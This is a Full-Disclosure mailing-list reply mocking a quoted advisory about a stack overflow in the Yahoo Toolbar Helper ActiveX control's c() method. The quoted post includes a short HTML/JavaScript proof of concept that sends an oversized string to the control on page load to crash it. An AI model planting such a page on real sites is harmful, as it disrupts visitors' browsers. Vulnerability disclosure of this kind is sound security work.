Re: [Full-disclosure] Yahoo Toolbar Helper c() Method Stack Overflow DoS

Yeah, strange how EIP isn't overwritten with your hacker savvy 0x41
characters. Except for the fact that this again is a stack overflow
exception and not a stack based buffer overflow. I implore you,
LEAVE THE TROLLING TO THE PROFESSIONALS. Thanks.

J

On Wed, 31 Dec 1969 19:00:00 -0500 Elazar Broad
<elazarb@xxxxxxxxxxxxx> wrote:
There is a stack overflow in the c() method of the Yahoo Toobar
Helper class. This overflow does not appear to get anywhere near
the EIP or SEH. PoC as follows:

----------------------
<!--
written by e.b.
-->
<html>
<head>
<script language="JavaScript" DEFER>
function Check() {
var s = "AAAA";

while (s.length < 999999) s=s+s;

var obj = new ActiveXObject("yt.ythelper.2"); //{02478D38-
C3F9-4EFB-9B51-7695ECA05670}
obj.c(s);
}
</script>

</head>
<body onload="JavaScript: return Check();">
</body>
</html>
----------------------

Elazar

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

--
Click here for to find products that will help grow your small business.
http://tagline.hushmail.com/fc/Ioyw6h4eDJdaRPJuJyztiEAJ83hvsi2qyqoJMOdLAcA5KZpqWleU5a/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Relevant Pages